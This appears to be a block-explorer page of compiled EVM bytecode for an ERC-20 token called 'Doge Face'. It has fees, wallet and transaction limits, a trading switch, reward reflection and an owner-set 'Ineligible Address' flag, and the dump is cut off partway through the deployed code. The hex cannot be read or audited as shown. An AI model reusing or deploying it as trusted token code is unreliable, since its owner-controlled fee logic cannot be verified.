80634355855a1461045457806348ff2b8b1461048457600080fd5b8063293230b811610219578063293230b81461034c5780632f54bf6e14610363578063313ce5671461039257806334c5d2ce146103ae57806336afc425146103ce57600080fd5b806306fdde0314610261578063095ea7b3146102a557806318160ddd146102d5578063228cb733146102f457806323b872dd1461032c57600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b50604080518082019091526009815268446f6765204661636560b81b60208201525b60405161029c9190612926565b60405180910390f35b3480156102b157600080fd5b506102c56102c036600461296e565b610833565b604051901515815260200161029c565b3480156102e157600080fd5b506001545b60405190815260200161029c565b34801561030057600080fd5b50601a54610314906001600160a01b031681565b6040516001600160a01b03909116815260200161029c565b34801561033857600080fd5b506102c561034736600461299a565b61084a565b34801561035857600080fd5b506103616108b4565b005b34801561036f57600080fd5b506102c561037e3660046129db565b6000546001600160a01b0391821691161490565b34801561039e57600080fd5b506040516009815260200161029c565b3480156103ba57600080fd5b506103616103c93660046129f8565b6108fc565b3480156103da57600080fd5b506103616103e93660046129f8565b610a50565b3480156103fa57600080fd5b506102e6601b5481565b34801561041057600080fd5b506102c561041f3660046129db565b60076020526000908152604090205460ff1681565b34801561044057600080fd5b50602854610314906001600160a01b031681565b34801561046057600080fd5b506102c561046f3660046129db565b60086020526000908152604090205460ff1681565b34801561049057600080fd5b5061036161049f366004612a32565b610a88565b3480156104b057600080fd5b506102e660265481565b3480156104c657600080fd5b50602954610314906001600160a01b031681565b3480156104e657600080fd5b506102e660275481565b3480156104fc57600080fd5b506102e661050b3660046129db565b610add565b34801561051c57600080fd5b50610361610af8565b34801561053157600080fd5b50610361610b67565b34801561054657600080fd5b506000546001600160a01b0316610314565b34801561056457600080fd5b50610361610573366004612a32565b610baf565b34801561058457600080fd5b506102e6610c8b565b34801561059957600080fd5b5060408051808201909152600981526828e29eb06fe29eb02960b81b602082015261028f565b3480156105cb57600080fd5b506102e6601c5481565b3480156105e157600080fd5b506103616105f036600461296e565b610cbc565b34801561060157600080fd5b50600d54610314906001600160a01b031681565b34801561062157600080fd5b506102c561063036600461296e565b610d38565b34801561064157600080fd5b50610361610650366004612a6b565b610d45565b34801561066157600080fd5b50610361610fb5565b34801561067657600080fd5b50600c546102c59060ff1681565b34801561069057600080fd5b506102e661069f3660046129db565b6001600160a01b031660009081526023602052604090206002015490565b3480156106c957600080fd5b506102e66106d83660046129db565b600b6020526000908152604090205481565b3480156106f657600080fd5b506107266107053660046129db565b60236020526000908152604090208054600182015460029092015490919083565b6040805193845260208401929092529082015260600161029c565b34801561074d57600080fd5b506102e661075c3660046129db565b610fc0565b34801561076d57600080fd5b506102e661077c366004612aa8565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156107b357600080fd5b506103616107c2366004612ad6565b61104b565b3480156107d357600080fd5b506103616107e2366004612a32565b611151565b3480156107f357600080fd5b506102e6601d5481565b34801561080957600080fd5b506103616108183660046129db565b6111c9565b34801561082957600080fd5b506102e660255481565b6000610840338484611247565b5060015b92915050565b600061085784848461136b565b6108a984336108a485604051806060016040528060288152602001612d58602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061150a565b611247565b5060015b9392505050565b6000546001600160a01b031633146108e75760405162461bcd60e51b81526004016108de90612b2b565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146109265760405162461bcd60e51b81526004016108de90612b2b565b60006127108461093560015490565b61093f9190612b61565b6109499190612b78565b905060006127108461095a60015490565b6109649190612b61565b61096e9190612b78565b905060006127108461097f60015490565b6109899190612b61565b6109939190612b78565b600284905560038390556004819055905060006109c66103e86109c060056109ba60015490565b90611536565b90611542565b90508084101580156109d85750808310155b80156109e45750808210155b610a475760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108de565b50505050505050565b6000546001600160a01b03163314610a7a5760405162461bcd60e51b81526004016108de90612b2b565b602592909255602655602755565b6000546001600160a01b03163314610ab25760405162461bcd60e51b81526004016108de90612b2b565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610b225760405162461bcd60e51b81526004016108de90612b2b565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610b915760405162461bcd60e51b81526004016108de90612b2b565b600154600255600154600355600154600455600c805460ff19169055565b6000546001600160a01b03163314610bd95760405162461bcd60e51b81526004016108de90612b2b565b600d546001600160a01b03838116911614801590610c0a5750600c546001600160a01b038381166101009092041614155b8015610c1f57506001600160a01b0382163014155b610c605760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b60448201526064016108de565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610cb7610c9a6000610add565b610cb1610ca861dead610add565b6001549061154e565b9061154e565b905090565b602a5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d339190612b9a565b505050565b600061084033848461136b565b6014819055602054336000829003610d5e575050610faf565b6000805a336000908152600560209081526040808320546007909252822054929350909160ff16610e5c575b8984108015610d9857508582105b15610e57578560245410610dac5760006024555b610dde602060245481548110610dc457610dc4612bb7565b6000918252602090912001546001600160a01b031661155a565b15610e1557610e15602060245481548110610dfb57610dfb612bb7565b6000918252602090912001546001600160a01b031661159f565b610e2a610e235a859061154e565b85906116d9565b93505a602480549194506000610e3f83612bcd565b91905055508180610e4f90612bcd565b925050610d8a565b610fa8565b6000610e6786610fc0565b6001600160a01b038b1660009081526005602052604090208a90559050610e8e8983612be6565b336000908152600560205260409020558015610fa657601d54610eb190826116d9565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015610f07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2b9190612b9a565b506001600160a01b03861660009081526022602090815260408083204290556023909152902060020154610f5f90826116d9565b6001600160a01b0387166000908152602360205260409020600281019190915554610f89906116e5565b6001600160a01b0387166000908152602360205260409020600101555b505b5050505050505b50505050565b610fbe3361159f565b565b6001600160a01b0381166000908152602360205260408120548103610fe757506000919050565b6001600160a01b038216600090815260236020526040812054611009906116e5565b6001600160a01b038416600090815260236020526040902060010154909150808211611039575060009392505050565b611043828261154e565b949350505050565b6000546001600160a01b031633146110755760405162461bcd60e51b81526004016108de90612b2b565b600e889055600f8790556012869055601085905560118490556013839055601482905560158190556016546110ab906005611542565b601354111580156110cb57506016546110c5906005611542565b60145411155b80156110e657506016546110e0906005611542565b60155411155b6111475760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016108de565b5050505050505050565b6000546001600160a01b0316331461117b5760405162461bcd60e51b81526004016108de90612b2b565b6001600160a01b0382166000908152600860205260409020805460ff191682158015919091179091556111b7576111b3826000611702565b5050565b6111b3826111c484610add565b611702565b6000546001600160a01b031633146111f35760405162461bcd60e51b81526004016108de90612b2b565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166112a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108de565b6001600160a01b03821661130a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108de565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b611376838383611818565b61138083836119b2565b61138982611a43565b611394838383611bb2565b61139f838383611c9e565b6113a98383611dcb565b6001600160a01b0383166000908152600560205260409020546113cc908261154e565b6001600160a01b0384166000908152600560205260408120919091556113f28484611de6565b6113fc5781611407565b611407848484611e2c565b6001600160a01b03841660009081526005602052604090205490915061142d90826116d9565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114819085815260200190565b60405180910390a36001600160a01b03841660009081526008602052604090205460ff166114b6576114b6846111c486610add565b6001600160a01b03831660009081526008602052604090205460ff166114e3576114e3836111c485610add565b6001600160a01b03831660009081526023602052604090205415610faf57610faf8361159f565b6000818484111561152e5760405162461bcd60e51b81526004016108de9190612926565b505050900390565b60006108ad8284612b61565b60006108ad8284612b78565b60006108ad8284612bf9565b6025546001600160a01b038216600090815260226020526040812054909142916115849190612be6565b108015610844575060265461159883610fc0565b1192915050565b6001600160a01b03811660009081526023602052604081205490036115c15750565b60006115cc82610fc0565b905080156111b357601d546115e190826116d9565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015611637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165b9190612b9a565b506001600160a01b0382166000908152602260209081526040808320429055602390915290206002015461168f90826116d9565b6001600160a01b03831660009081526023602052604090206002810191909155546116b9906116e5565b6001600160a01b0383166000908152602360205260409020600101555050565b60006108ad8284612be6565b6000610844601f546109c0601e548561153690919063ffffffff16565b60008111801561172857506001600160a01b038216600090815260236020526040902054155b1561178d57602080546001600160a01b03841660008181526021845260408120839055600183018455929092527fc97bfaf2f8ee708c303a06d134f5ecd8389ae0432af62dc132a24118292866bb0180546001600160a01b03191690911790556117c0565b801580156117b257506001600160a01b03821660009081526023602052604090205415155b156117c0576117c082611f1a565b6001600160a01b038216600090815260236020526040902054601b546117f19183916117eb9161154e565b906116d9565b601b556001600160a01b03821660009081526023602052604090208190556116b9816116e5565b6001600160a01b03831661187c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108de565b6001600160a01b0382166118de5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108de565b600081116119405760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108de565b61194983610add565b811115610d335760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016108de565b6001600160a01b03821660009081526007602052604090205460ff161580156119f457506001600160a01b03811660009081526007602052604090205460ff16155b156111b357600d54600160a01b900460ff166111b35760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016108de565b600c546001600160a01b038281166101009092041614801590611a745750600d546001600160a01b03828116911614155b8015611a825750600c5460ff165b15611b5f57611a92600243612bf9565b326000908152600a6020526040902054108015611ad05750611ab5600243612bf9565b6001600160a01b0382166000908152600a6020526040902054105b611b3a5760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016108de565b326000908152600a602052604080822043908190556001600160a01b03841683529120555b600d546001600160a01b03828116911614611baf576001600160a01b0381166000908152600b60205260408120549003611baf576001600160a01b0381166000908152600b602052604090204290555b50565b6001600160a01b03831660009081526007602052604090205460ff16158015611bf457506001600160a01b03821660009081526007602052604090205460ff16155b8015611c0e5750600d546001600160a01b03838116911614155b8015611c2557506001600160a01b03821661dead14155b15610d33576004546001600160a01b038316600090815260056020526040902054611c5090836116d9565b1115610d335760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016108de565b600d546001600160a01b03848116911614611d3f5760035481111580611cdc57506001600160a01b03831660009081526007602052604090205460ff165b80611cff57506001600160a01b03821660009081526007602052604090205460ff165b611d3f5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108de565b60025481111580611d6857506001600160a01b03831660009081526007602052604090205460ff165b80611d8b57506001600160a01b03821660009081526007602052604090205460ff165b610d335760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108de565b611dd5828261202e565b156111b3576111b3601854836120e2565b6001600160a01b03821660009081526007602052604081205460ff161580156108ad5750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080611e398585612285565b1115611f13576000611e5c611e4e8686612285565b6016546109ba908690611542565b30600090815260056020526040902054909150611e7990826116d9565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611eca9085815260200190565b60405180910390a360125415611f0157611f013061dead611efc6012546109ba6016548961154290919063ffffffff16565b61136b565b611f0b838261154e565b9150506108ad565b5092915050565b60208054611f2a90600190612bf9565b81548110611f3a57611f3a612bb7565b60009182526020808320909101546001600160a01b03848116845260218352604090932054825493909116928110611f7457611f74612bb7565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152602180835260408220548354909391929190611fbf90600190612bf9565b81548110611fcf57611fcf612bb7565b60009182526020808320909101546001600160a01b0316835282810193909352604090910190209190915580548061200957612009612c0c565b600082815260209020810160001990810180546001600160a01b031916905501905550565b60008060185461203d30610add565b6017549111159150610100900460ff1615801561205c575060175460ff165b80156120715750600d54600160a01b900460ff165b801561209657506001600160a01b03841660009081526007602052604090205460ff16155b80156120bb57506001600160a01b03831660009081526007602052604090205460ff16155b80156120d45750600d546001600160a01b038481169116145b801561104357509392505050565b6017805461ff001916610100179055601054601154600f54600e5460009361211b936002936109ba936117eb92918391829060016116d9565b90506000612138826109c0600e548761153690919063ffffffff16565b90506000612146858361154e565b90504761215282612326565b600061215e478361154e565b9050600061218161217a600e548861154e90919063ffffffff16565b8390611542565b9050600061219a600e548361153690919063ffffffff16565b905080156121ac576121ac86826124a3565b600f546000906121c1906109ba856002611536565b90508015612205576029546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612203573d6000803e3d6000fd5b505b60105460009061221a906109ba866002611536565b9050801561222c5761222c818b612561565b471561226d576028546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561226b573d6000803e3d6000fd5b505b50506017805461ff0019169055505050505050505050565b6001600160a01b03821660009081526009602052604081205460ff16806122c457506001600160a01b03821660009081526009602052604090205460ff165b156122de576016546122d790606461154e565b9050610844565b600d546001600160a01b03908116908316036122fd5750601454610844565b600d546001600160a01b039081169084160361231c5750601354610844565b5060155492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061235b5761235b612bb7565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123f29190612c22565b8160018151811061240557612405612bb7565b6001600160a01b039283166020918202929092010152600c5461243091309161010090041684611247565b600c5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac9479061246d908590600090869030904290600401612c83565b600060405180830381600087803b15801561248757600080fd5b505af115801561249b573d6000803e3d6000fd5b505050505050565b600c546124c090309061010090046001600160a01b031684611247565b600c54602a5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a4820152610100909204169063f305d71990839060c40160606040518083038185885af1158015612535573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061255a9190612cbf565b5050505050565b601a546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156125aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125ce9190612ced565b6040805160028082526060820183529293506000929091602083019080368337019050509050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612647573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061266b9190612c22565b8160008151811061267e5761267e612bb7565b6001600160a01b039283166020918202929092010152601a548251911690829060019081106126af576126af612bb7565b6001600160a01b039283166020918202929092010152600c5460405163b6f9de9560e01b81526101009091049091169063b6f9de959086906126fc90600090869030904290600401612d06565b6000604051808303818588803b15801561271557600080fd5b505af1158015612729573d6000803e3d6000fd5b5050601a546040516370a0823160e01b8152306004820152600094506001600160a01b0390911692506370a082319150602401602060405180830381865afa158015612779573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061279d9190612ced565b905060006127ab828561154e565b601c549091506127bb90826116d9565b601c55604080518082018252600f81526e6e6f756e636528616464726573732960881b60209182015281516001600160a01b03888116602480840191909152845180840390910181526044909201845291810180516001600160e01b031663366b82c160e01b179052602a5492519092600092169061283b908490612d3b565b6000604051808303816000865af19150503d8060008114612878576040519150601f19603f3d011682016040523d82523d6000602084013e61287d565b606091505b50509050806128ce5760405162461bcd60e51b815260206004820152601d60248201527f43616c6c20746f206f7468657220636f6e7472616374206661696c656400000060448201526064016108de565b6128f56128ec601b546109c086601f5461153690919063ffffffff16565b601e54906116d9565b601e555050505050505050565b60005b8381101561291d578181015183820152602001612905565b50506000910152565b6020815260008251806020840152612945816040850160208701612902565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611baf57600080fd5b6000806040838503121561298157600080fd5b823561298c81612959565b946020939093013593505050565b6000806000606084860312156129af57600080fd5b83356129ba81612959565b925060208401356129ca81612959565b929592945050506040919091013590565b6000602082840312156129ed57600080fd5b81356108ad81612959565b600080600060608486031215612a0d57600080fd5b505081359360208301359350604090920135919050565b8015158114611baf57600080fd5b60008060408385031215612a4557600080fd5b8235612a5081612959565b91506020830135612a6081612a24565b809150509250929050565b60008060008060808587031215612a8157600080fd5b843593506020850135612a9381612959565b93969395505050506040820135916060013590565b60008060408385031215612abb57600080fd5b8235612ac681612959565b91506020830135612a6081612959565b600080600080600080600080610100898b031215612af357600080fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761084457610844612b4b565b600082612b9557634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215612bac57600080fd5b81516108ad81612a24565b634e487b7160e01b600052603260045260246000fd5b600060018201612bdf57612bdf612b4b565b5060010190565b8082018082111561084457610844612b4b565b8181038181111561084457610844612b4b565b634e487b7160e01b600052603160045260246000fd5b600060208284031215612c3457600080fd5b81516108ad81612959565b600081518084526020808501945080840160005b83811015612c785781516001600160a01b031687529582019590820190600101612c53565b509495945050505050565b85815284602082015260a060408201526000612ca260a0830186612c3f565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215612cd457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215612cff57600080fd5b5051919050565b848152608060208201526000612d1f6080830186612c3f565b6001600160a01b03949094166040830152506060015292915050565b60008251612d4d818460208701612902565b919091019291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206f33b7a8dcb0808cf89664775384e5b3e11fc90ab02444043f248dd1870a168c64736f6c63430008110033000000000000000000000000b4b2f38a77e6101f47ad336faf852cc5239b006c000000000000000000000000b4b2f38a77e6101f47ad336faf852cc5239b006c000000000000000000000000b4b2f38a77e6101f47ad336faf852cc5239b006c
Deployed Bytecode
0x6080604052600436106102555760003560e01c8063893d20e811610139578063c876d0b9116100b6578063dd62ed3e1161007a578063dd62ed3e14610761578063e2d6f94c146107a7578063ef43b02b146107c7578063efca2eed146107e7578063f2fde38b146107fd578063ffd49c841461081d57600080fd5b8063c876d0b91461066a578063ca89b89914610684578063cc25596f146106bd578063ce7c2ac2146106ea578063d9d5a89b1461074157600080fd5b8063a1db9782116100fd578063a1db9782146105d5578063a8aa1b31146105f5578063a9059cbb14610615578063b6626c7b14610635578063ba3acf8b1461065557600080fd5b8063893d20e81461053a5780638c41180e146105585780639358928b1461057857806395d89b411461058d578063997664d7146105bf57600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae8146104a45780635f7bcd70146104ba57806360e71962146104da57806370a08231146104f0578063715018a614610510578063751039fc1461052557600080fd5b80633a98ef39146103ee5780633f4218e014610404578063420bbf20146104345780634355855a1461045457806348ff2b8b1461048457600080fd5b8063293230b811610219578063293230b81461034c5780632f54bf6e14610363578063313ce5671461039257806334c5d2ce146103ae57806336afc425146103ce57600080fd5b806306fdde0314610261578063095ea7b3146102a557806318160ddd146102d5578063228cb733146102f457806323b872dd1461032c57600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b50604080518082019091526009815268446f6765204661636560b81b60208201525b60405161029c9190612926565b60405180910390f35b3480156102b157600080fd5b506102c56102c036600461296e565b610833565b604051901515815260200161029c565b3480156102e157600080fd5b506001545b60405190815260200161029c565b34801561030057600080fd5b50601a54610314906001600160a01b031681565b6040516001600160a01b03909116815260200161029c565b34801561033857600080fd5b506102c561034736600461299a565b61084a565b34801561035857600080fd5b506103616108b4565b005b34801561036f57600080fd5b506102c561037e3660046129db565b6000546001600160a01b0391821691161490565b34801561039e57600080fd5b506040516009815260200161029c565b3480156103ba57600080fd5b506103616103c93660046129f8565b6108fc565b3480156103da57600080fd5b506103616103e93660046129f8565b610a50565b3480156103fa57600080fd5b506102e6601b5481565b34801561041057600080fd5b506102c561041f3660046129db565b60076020526000908152604090205460ff1681565b34801561044057600080fd5b50602854610314906001600160a01b031681565b34801561046057600080fd5b506102c561046f3660046129db565b60086020526000908152604090205460ff1681565b34801561049057600080fd5b5061036161049f366004612a32565b610a88565b3480156104b057600080fd5b506102e660265481565b3480156104c657600080fd5b50602954610314906001600160a01b031681565b3480156104e657600080fd5b506102e660275481565b3480156104fc57600080fd5b506102e661050b3660046129db565b610add565b34801561051c57600080fd5b50610361610af8565b34801561053157600080fd5b50610361610b67565b34801561054657600080fd5b506000546001600160a01b0316610314565b34801561056457600080fd5b50610361610573366004612a32565b610baf565b34801561058457600080fd5b506102e6610c8b565b34801561059957600080fd5b5060408051808201909152600981526828e29eb06fe29eb02960b81b602082015261028f565b3480156105cb57600080fd5b506102e6601c5481565b3480156105e157600080fd5b506103616105f036600461296e565b610cbc565b34801561060157600080fd5b50600d54610314906001600160a01b031681565b34801561062157600080fd5b506102c561063036600461296e565b610d38565b34801561064157600080fd5b50610361610650366004612a6b565b610d45565b34801561066157600080fd5b50610361610fb5565b34801561067657600080fd5b50600c546102c59060ff1681565b34801561069057600080fd5b506102e661069f3660046129db565b6001600160a01b031660009081526023602052604090206002015490565b3480156106c957600080fd5b506102e66106d83660046129db565b600b6020526000908152604090205481565b3480156106f657600080fd5b506107266107053660046129db565b60236020526000908152604090208054600182015460029092015490919083565b6040805193845260208401929092529082015260600161029c565b34801561074d57600080fd5b506102e661075c3660046129db565b610fc0565b34801561076d57600080fd5b506102e661077c366004612aa8565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156107b357600080fd5b506103616107c2366004612ad6565b61104b565b3480156107d357600080fd5b506103616107e2366004612a32565b611151565b3480156107f357600080fd5b506102e6601d5481565b34801561080957600080fd5b506103616108183660046129db565b6111c9565b34801561082957600080fd5b506102e660255481565b6000610840338484611247565b5060015b92915050565b600061085784848461136b565b6108a984336108a485604051806060016040528060288152602001612d58602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061150a565b611247565b5060015b9392505050565b6000546001600160a01b031633146108e75760405162461bcd60e51b81526004016108de90612b2b565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146109265760405162461bcd60e51b81526004016108de90612b2b565b60006127108461093560015490565b61093f9190612b61565b6109499190612b78565b905060006127108461095a60015490565b6109649190612b61565b61096e9190612b78565b905060006127108461097f60015490565b6109899190612b61565b6109939190612b78565b600284905560038390556004819055905060006109c66103e86109c060056109ba60015490565b90611536565b90611542565b90508084101580156109d85750808310155b80156109e45750808210155b610a475760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108de565b50505050505050565b6000546001600160a01b03163314610a7a5760405162461bcd60e51b81526004016108de90612b2b565b602592909255602655602755565b6000546001600160a01b03163314610ab25760405162461bcd60e51b81526004016108de90612b2b565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610b225760405162461bcd60e51b81526004016108de90612b2b565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610b915760405162461bcd60e51b81526004016108de90612b2b565b600154600255600154600355600154600455600c805460ff19169055565b6000546001600160a01b03163314610bd95760405162461bcd60e51b81526004016108de90612b2b565b600d546001600160a01b03838116911614801590610c0a5750600c546001600160a01b038381166101009092041614155b8015610c1f57506001600160a01b0382163014155b610c605760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b60448201526064016108de565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610cb7610c9a6000610add565b610cb1610ca861dead610add565b6001549061154e565b9061154e565b905090565b602a5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d339190612b9a565b505050565b600061084033848461136b565b6014819055602054336000829003610d5e575050610faf565b6000805a336000908152600560209081526040808320546007909252822054929350909160ff16610e5c575b8984108015610d9857508582105b15610e57578560245410610dac5760006024555b610dde602060245481548110610dc457610dc4612bb7565b6000918252602090912001546001600160a01b031661155a565b15610e1557610e15602060245481548110610dfb57610dfb612bb7565b6000918252602090912001546001600160a01b031661159f565b610e2a610e235a859061154e565b85906116d9565b93505a602480549194506000610e3f83612bcd565b91905055508180610e4f90612bcd565b925050610d8a565b610fa8565b6000610e6786610fc0565b6001600160a01b038b1660009081526005602052604090208a90559050610e8e8983612be6565b336000908152600560205260409020558015610fa657601d54610eb190826116d9565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015610f07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2b9190612b9a565b506001600160a01b03861660009081526022602090815260408083204290556023909152902060020154610f5f90826116d9565b6001600160a01b0387166000908152602360205260409020600281019190915554610f89906116e5565b6001600160a01b0387166000908152602360205260409020600101555b505b5050505050505b50505050565b610fbe3361159f565b565b6001600160a01b0381166000908152602360205260408120548103610fe757506000919050565b6001600160a01b038216600090815260236020526040812054611009906116e5565b6001600160a01b038416600090815260236020526040902060010154909150808211611039575060009392505050565b611043828261154e565b949350505050565b6000546001600160a01b031633146110755760405162461bcd60e51b81526004016108de90612b2b565b600e889055600f8790556012869055601085905560118490556013839055601482905560158190556016546110ab906005611542565b601354111580156110cb57506016546110c5906005611542565b60145411155b80156110e657506016546110e0906005611542565b60155411155b6111475760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016108de565b5050505050505050565b6000546001600160a01b0316331461117b5760405162461bcd60e51b81526004016108de90612b2b565b6001600160a01b0382166000908152600860205260409020805460ff191682158015919091179091556111b7576111b3826000611702565b5050565b6111b3826111c484610add565b611702565b6000546001600160a01b031633146111f35760405162461bcd60e51b81526004016108de90612b2b565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166112a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108de565b6001600160a01b03821661130a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108de565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b611376838383611818565b61138083836119b2565b61138982611a43565b611394838383611bb2565b61139f838383611c9e565b6113a98383611dcb565b6001600160a01b0383166000908152600560205260409020546113cc908261154e565b6001600160a01b0384166000908152600560205260408120919091556113f28484611de6565b6113fc5781611407565b611407848484611e2c565b6001600160a01b03841660009081526005602052604090205490915061142d90826116d9565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114819085815260200190565b60405180910390a36001600160a01b03841660009081526008602052604090205460ff166114b6576114b6846111c486610add565b6001600160a01b03831660009081526008602052604090205460ff166114e3576114e3836111c485610add565b6001600160a01b03831660009081526023602052604090205415610faf57610faf8361159f565b6000818484111561152e5760405162461bcd60e51b81526004016108de9190612926565b505050900390565b60006108ad8284612b61565b60006108ad8284612b78565b60006108ad8284612bf9565b6025546001600160a01b038216600090815260226020526040812054909142916115849190612be6565b108015610844575060265461159883610fc0565b1192915050565b6001600160a01b03811660009081526023602052604081205490036115c15750565b60006115cc82610fc0565b905080156111b357601d546115e190826116d9565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015611637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165b9190612b9a565b506001600160a01b03821660009081526022602090815260408083204290556